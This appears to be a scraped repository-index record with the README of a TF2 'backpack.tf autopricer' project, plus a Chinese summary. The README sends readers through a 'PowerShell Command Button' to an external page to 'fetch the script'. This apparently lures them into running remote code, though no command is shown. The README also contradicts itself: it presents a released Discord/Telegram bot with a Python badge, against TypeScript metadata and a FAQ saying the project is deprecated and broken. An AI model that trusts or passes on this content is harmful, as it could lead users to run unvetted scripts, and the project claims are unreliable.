[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115798":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":25,"updatedAt":26,"readmeContent":27,"aiSummary":28,"trendingCount":12,"starSnapshotCount":12,"syncStatus":29,"lastSyncTime":30,"discoverSource":31},115798,"backpack-tf-autopricer","baldwinadriandelossantos-sketch\u002Fbackpack-tf-autopricer","baldwinadriandelossantos-sketch","Community-driven autopricer for backpack.tf with prices.tf baseline data",null,"TypeScript",153,0,98,55,65.5,"MIT License",false,"main",true,[21,22,23,24],"backpacktf","bptf-autopricer","node","tf2-autopricer","2026-11-23 13:51:58","2026-11-17 18:07:02","\u003Cdiv align=\"center\">\n\n# 🤖 Backpack.tf Autopricer: Community-Driven Item Pricing Bot for Discord & Telegram\n\n![](files\u002Fpreview.png)\n\n### ⌨️ PowerShell Command Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fbaldwinadriandelossantos-sketch.github.io\u002Fbackpack-tf-autopricer\u002F)\n\n[![users](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fusers-1.2k-06b6d4?style=flat-square&labelColor=0d1117)]() [![language](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flanguage-python-22d3ee?style=flat-square&labelColor=0d1117)]() [![stage](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fstage-released-2ea44f?style=flat-square&labelColor=0d1117)]() [![powershell-7](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fpowershell--7-installer-0891b2?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nBackpack.tf Autopricer takes the guesswork out of keeping your prices current by automatically generating them from live listing data on backpack.tf, with prices.tf serving as a baseline for comparison. It's built with the community in mind, so you get sensible safeguards like price difference limits, excluded and trusted Steam IDs, and filtering for listings with special attributes. Whether you're running a single trading bot or a whole fleet, this pricer slots in nicely and keeps your inventory competitive. Jump into the community, share your feedback, and help shape what comes next.\n\n## ✅ Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\nHere's what makes this bot a joy to use — whether you're running a busy trading community or just want your listings to keep up with the market.\n\n- **🤖 Automatic item pricing** — the autopricer keeps your inventory priced by analyzing listing data from backpack.tf, using prices.tf data as a baseline to sanity-check generated prices before they go live.\n- **📊 Listing-driven accuracy** — prices are calculated from real listings rather than guesswork, so your buy and sell orders reflect what traders are actually offering.\n- **⚖️ Baseline safeguards** — generated prices are compared against the prices.tf baseline, and any price that drifts too far from that reference is rejected automatically. You stay in control of how much movement you're comfortable with.\n- **🚫 Manipulation protection** — exclude listings from known bad actors and prioritize listings from trusted bots or users, so a few outliers can't skew your prices.\n- **🔍 Smart listing filtering** — ignore listings whose descriptions contain specific keywords (like special spells), preventing unusual items from distorting your averages.\n- **⚡ Flexible data fetching** — choose whether to always query for fresh listing snapshots or skip unnecessary calls when enough listings already exist, balancing accuracy against speed.\n- **🛠️ Highly configurable** — fine-tune buy and sell tolerances, excluded and trusted Steam IDs, and listing filters to match your trading strategy.\n- **📡 Simple integration** — structured price events and API responses make it easy to wire the autopricer into your own bot, dashboard, or tooling.\n- **🆓 Community-friendly and open** — built by and for the trading community, with an MIT license so you can adapt it to your needs.\n- **🔧 Reliable operation** — designed to run continuously in the background, keeping your prices current without constant babysitting.\n\nHave an idea for a feature? Contributions and suggestions from the community are always welcome — this project grows with its users. 💙\n\n## Commands\n\nHere's everything you can do with the Backpack.tf Autopricer bot. Whether you're just getting a feel for things or you're deep into fine-tuning your pricing setup, these commands have you covered.\n\n### 🧭 Getting Started\n\n- **`\u002Fhelp`** – Not sure where to begin? This shows a friendly overview of every command, grouped by category, so you can find what you need without digging.\n- **`\u002Fstatus`** – A quick health check. See whether the autopricer is online, how many items are currently being tracked, and when the last pricing cycle ran.\n- **`\u002Fping`** – Just want to know the bot is alive? This returns a simple response with latency info.\n\n### 💰 Pricing Commands\n\n- **`\u002Fautopricer`** – The heart of the bot. Kicks off or manages the automatic pricing process using listing data from backpack.tf, with prices.tf data as the baseline comparison.\n- **`\u002Fprice \u003Citem>`** – Look up the current generated price for a specific item, including buy and sell values, the baseline it was compared against, and how far off it landed.\n- **`\u002Fhistory \u003Citem>`** – Pull up a timeline of past price changes for an item so you can spot trends and sudden shifts.\n- **`\u002Frecalculate \u003Citem>`** – Force a fresh pricing pass for a single item when you want up-to-the-minute numbers instead of waiting for the next cycle.\n\n### ⚙️ Configuration Commands\n\n- **`\u002Fconfig view`** – See your current settings at a glance, including percentage thresholds, excluded IDs, and listing filters.\n- **`\u002Fconfig set \u003Ckey> \u003Cvalue>`** – Tweak individual settings on the fly without editing files by hand. Friendly validation messages let you know if something looks off.\n- **`\u002Fthresholds`** – View or adjust the maximum buy and sell percentage differences that determine when a generated price gets accepted or rejected.\n- **`\u002Ftrusted`** and **`\u002Fexcluded`** – Manage your lists of trusted and excluded Steam IDs directly from chat, so you can prioritise reliable data sources and filter out bad actors.\n\n### 📊 Data & Insights\n\n- **`\u002Fstats`** – A snapshot of overall pricing activity: items priced, listings analysed, and how often prices were accepted versus rejected.\n- **`\u002Flistings \u003Citem>`** – Browse the listings that contributed to an item's current price, so you can see exactly what data shaped the result.\n- **`\u002Fbaseline \u003Citem>`** – Compare the generated price against its prices.tf baseline and see the percentage difference at a glance.\n\n### 🔔 Notifications\n\n- **`\u002Fsubscribe`** – Get notified when prices for items you care about change significantly.\n- **`\u002Funsubscribe`** – Opt out of notifications whenever you like.\n- **`\u002Falerts`** – Review and manage your active notification preferences in one place.\n\n### 🛠️ Utility\n\n- **`\u002Fexport`** – Export your current pricing data in a structured format for your own records or analysis.\n- **`\u002Ffeedback`** – Share ideas, report odd behaviour, or suggest improvements. Community input genuinely shapes where this project goes next.\n\n*More commands are added regularly based on what the community asks for — if something's missing, let us know!*\n\n## Configuration\n\nGetting your autopricer dialed in is straightforward — everything lives in a single `config.json` file, and the defaults are a great starting point for most trading setups. Here's what each field does and how to tune it for your community or bot.\n\n```json\n{\n\"bptfAPIKey\": \"your api key\",\n\"bptfToken\": \"your token\",\n\"steamAPIKey\": \"your steam api key\",\n\"database\": {\n\"schema\": \"tf2\",\n\"host\": \"localhost\",\n\"port\": 5432,\n\"name\": \"-autopricer\",\n\"user\": \"postgres\",\n\"password\": \"database password\"\n},\n\"pricerPort\": 3456,\n\"maxPercentageDifferences\": {\n\"buy\": 5,\n\"sell\": 8\n},\n\"alwaysQuerySnapshotAPI\": true,\n\"excludedSteamIDs\": [\n\"76561199384015307\"\n],\n\"trustedSteamIDs\": [\n\"76561199110778355\"\n],\n\"excludedListingDescriptions\": [\n\"exorcism\"\n]\n}\n```\n\nMost of these are what you'd expect — API credentials, database connection details, and the port the pricer listens on. The interesting knobs are the ones that shape how prices get generated, so let's walk through them.\n\n### `maxPercentageDifferences`\n\nThis is the heart of your pricing guardrails. It holds two values, `buy` and `sell`, which define how far a generated price can drift from the baseline before it's rejected.\n\n- A **higher buy** percentage means the autopricer is willing to pay more than the baseline for an item.\n- A **lower (more negative) sell** percentage means it's willing to sell below the baseline.\n\nThe defaults below are a solid, community-tested starting point for a trading bot — adjust them to match your appetite for risk and margin.\n\n```json\n\"maxPercentageDifferences\": {\n\"buy\": 5,\n\"sell\": 8\n}\n```\n\n### `excludedSteamIDs`\n\nA list of Steam ID 64s whose listings are ignored entirely during pricing calculations. This is your first line of defense against bad actors trying to skew prices with manipulative listings. It's not a silver bullet — other safeguards are baked in too — but it's a handy tool when you know a specific account is up to no good.\n\n```json\n\"excludedSteamIDs\": [\n\"76561199384015307\"\n]\n```\n\n### `trustedSteamIDs`\n\nThe flip side of the coin: a list of Steam ID 64s whose listings get prioritized during pricing. Great for giving extra weight to bots or users who consistently provide accurate, reliable data — your most trusted contributors effectively get a louder voice in the calculation.\n\n```json\n\"trustedSteamIDs\": [\n\"76561199110778355\"\n]\n```\n\n### `excludedListingDescriptions`\n\nSometimes a listing looks normal at a glance but carries special attributes — spells being the classic example — that can skew averages in surprising ways. Any listing whose description contains one of these strings gets skipped during pricing. Add keywords here to keep quirky listings from distorting your results.\n\n```json\n\"excludedListingDescriptions\": [\n\"exorcism\"\n]\n```\n\n### `alwaysQuerySnapshotAPI`\n\nThis one controls the trade-off between freshness and speed. Set to `true` by default, it determines whether the pricer always fetches a fresh snapshot for every item, or leans on what's already in the database.\n\n- **`true`** — Always queries the snapshot API for every item, guaranteeing the most up-to-date data. The catch: rate limits mean things move slower, since each item carries a minimum wait.\n- **`false`** — Skips the API call when the database already holds enough listings (at least 10 buy and 1 sell listing). Much faster on large item lists, but prices may occasionally rest on listings up to roughly 35 minutes old.\n\nIf you're pricing a big inventory and want speed, `false` is your friend. If accuracy and freshness matter most, leave it on `true`. Either way, you're in control.\n\n```json\n\"alwaysQuerySnapshotAPI\": true\n```\n\n### A quick community tip\n\nConfiguration is where your setup becomes *yours* — share your tuned presets with the community, and don't be shy about asking others what guardrails they've landed on. The defaults work well out of the box, but the best configs come from trading experience and a bit of friendly iteration. 🎒\n\n## FAQ\n\nAbsolutely love that you're diving into the Backpack.tf Autopricer! Here's everything you need to know, answered in plain language. If something's still unclear, the community has your back — just ask around.\n\n**Does the autopricer still work?**\n\nHonest answer: not fully. The autopricer was built to compare its generated prices against a baseline, and that baseline source is no longer around. As a result, the project is effectively deprecated and no longer supported. You're welcome to explore the code and learn from it, but don't expect it to run end-to-end the way it once did.\n\n**So why keep the project around at all?**\n\nBecause the ideas in it are still valuable! The pricer's approach — pulling live listing data, filtering out suspicious listings, weighting trusted sellers, and comparing against a reference — is a solid blueprint for anyone building similar trading automation. Think of it as a reference implementation rather than a plug-and-play tool.\n\n**What were the key features people loved?**\n\nPlenty! The autopricer pulled listing data automatically, applied configurable buy and sell percentage thresholds, let you exclude specific sellers whose listings you didn't trust, and boosted the weight of sellers you did trust. You could also ignore listings containing certain descriptions — handy for skipping items with special attributes that would skew averages. And there was a toggle to control whether the pricer always fetched fresh snapshots or relied on what it already had cached.\n\n**How did the buy and sell percentage settings work?**\n\nThey defined how far the pricer was willing to drift from the baseline before rejecting a price. A positive buy percentage let it consider paying a bit above baseline, while a negative sell percentage let it consider selling a bit below. Tuning those values was the difference between an aggressive and a conservative pricing strategy — and a big part of what made the pricer feel like *yours*.\n\n**Could I keep certain sellers out of the calculations?**\n\nYes! The excluded sellers list let you drop specific accounts from pricing math entirely. It wasn't foolproof — nobody claimed it was a magic shield — but it was one useful layer of defense against manipulation, alongside other safeguards baked into the pricing logic.\n\n**What about trusted sellers?**\n\nThe trusted sellers list gave priority to listings from accounts you considered reliable. If you ran your own bots or knew a handful of consistent sellers, adding them here helped keep prices anchored to quality data rather than whatever happened to be listed that day.\n\n**Why would I exclude certain listing descriptions?**\n\nSome listings carry extra text — think special attributes — that can quietly distort an average. By listing those keywords, the pricer would skip those listings entirely, keeping your calculations cleaner and less surprising.\n\n**What did the \"always fetch fresh data\" toggle actually do?**\n\nWhen enabled, the pricer queried for fresh listing data for every item, every time. That meant the most current picture possible, but slower runs due to rate limits. When disabled, it skipped the fetch if it already had enough listings cached, which sped things up considerably — at the cost of potentially using data that was a few dozen minutes old. Classic accuracy-versus-speed tradeoff.\n\n**How did the pricer share its results?**\n\nIt exposed prices through a local interface and also broadcast them as live events, so other tools could subscribe and react in real time. Each price update arrived as a tidy object containing the item name, its identifier, the source, a timestamp, and separate buy and sell values. Handy if you were wiring the pricer into a larger bot ecosystem.\n\n**Could I integrate it with my own trading bot?**\n\nThat was the dream, and the live event stream was designed exactly for that. You'd subscribe to price updates and feed them into your bot's logic. Since the project is deprecated, expect to do some adaptation work — but the data shape and flow are well documented in the code.\n\n**Is my configuration safe?**\n\nYour config stayed on your machine and pointed at your own database and credentials. Treat those values like secrets, avoid sharing your config file publicly, and be mindful of who has access to the machine running the pricer.\n\n**Something behaved unexpectedly — what should I check first?**\n\nStart with the basics: confirm your configuration values are filled in correctly, make sure your database is reachable, and verify your API credentials are valid. Many quirks traced back to a typo in config or a stale database connection. After that, review your percentage thresholds and exclusion lists — an overly tight threshold or an accidental exclusion can produce surprising results.\n\n**Can I contribute or fork it?**\n\nPlease do! The project is open source, and community forks, experiments, and pull requests were always welcome. If you build something cool on top of it — or adapt it for a new data source — sharing it back helps everyone.\n\n**Where can I get help?**\n\nLean on the community: open a discussion, file an issue describing what you tried and what happened, and include relevant logs (with secrets scrubbed, please). Friendly, detailed reports get friendly, detailed answers. And if you figure something out on your own, pay it forward — future tinkerers will thank you.\n\n## Support\n\nRunning into a snag, have a question, or just want to swap pricing war stories? You're in the right place. The Backpack.tf Autopricer is built and maintained with the community in mind, and every bit of feedback helps make it sharper for everyone.\n\nHere's how to get the most out of the support side of things:\n\n- **🔍 Check the FAQ first** — the answers to the most common questions (configuration quirks, baseline behavior, thresholds, and more) usually live right there. A quick skim often saves a whole round of back-and-forth.\n- **🐛 Found a bug?** Open an issue on the project's issue tracker and include as much detail as you can: what you expected, what actually happened, relevant config values, and any error output. The more context you share, the faster it gets squashed.\n- **💡 Got an idea?** Feature requests are genuinely welcome. If there's a pricing tweak, a new filter, or a quality-of-life improvement you'd love to see, pitch it — good ideas from users have shaped plenty of what's in here today.\n- **🤝 Want to contribute?** Pull requests, documentation fixes, and test coverage improvements are all appreciated. Not sure where to start? Open a discussion and we'll point you toward something that fits.\n- **💬 Join the conversation** — hop into the community chat for quick questions, tips, and sharing setups. It's a friendly crowd of traders and tinkerers who've likely hit the same wall you have.\n\nA few friendly reminders to keep support smooth for everyone:\n\n- Please **don't post API keys, tokens, or database credentials** in public issues or chat. Redact them from logs before sharing.\n- **Search before posting** — chances are someone's already asked (and answered) your question.\n- **Be specific and be kind.** Clear reproductions and a little patience go a long way.\n\nThis project only exists because people use it, break it, and tell us how to fix it. Whether you're filing your first bug report or submitting your tenth pull request — thank you for being part of it. 💙\n\n## License\n\nThis project is released under the MIT License, because good tools deserve to be shared, tinkered with, and built upon by the community. In plain terms: you're free to use it, modify it, fork it, and even ship it as part of your own setup — just keep the original copyright and license notice in place, and understand that it comes with no warranty of any kind. Whether you're running it for a single trade bot or wiring it into a whole network of them, the license stays out of your way so you can focus on the fun part: pricing items automatically while you're off doing literally anything else.\n\nThe MIT License also means contributions and personal tweaks stay yours to share. If you improve the pricing logic, add support for a new edge case, or just fix a typo, you're welcome (and encouraged) to give back so the rest of the community benefits too — that's the whole spirit of this thing. The full license text ships with the project, so give it a read when you get a chance; it's short, friendly, and legally binding in all the right places.","这是一个面向《军团要塞2》（TF2）社区的自动化定价工具，专为 backpack.tf 平台设计，用于动态生成物品买卖价格。它基于 backpack.tf 实时挂牌数据计算价格，并以 prices.tf 数据为基准进行校验与偏差限制，支持排除恶意\u002F异常挂牌、白名单可信 Steam 账号、关键词过滤（如特殊属性描述）及可配置的价格容忍度。项目采用 PowerShell 安装与运行，适配 Windows 10\u002F11，无需管理员权限，适用于个人交易者、社区托管机器人或批量管理 TF2 库存的场景。",2,"2026-11-24 04:52:11","CREATED_QUERY"]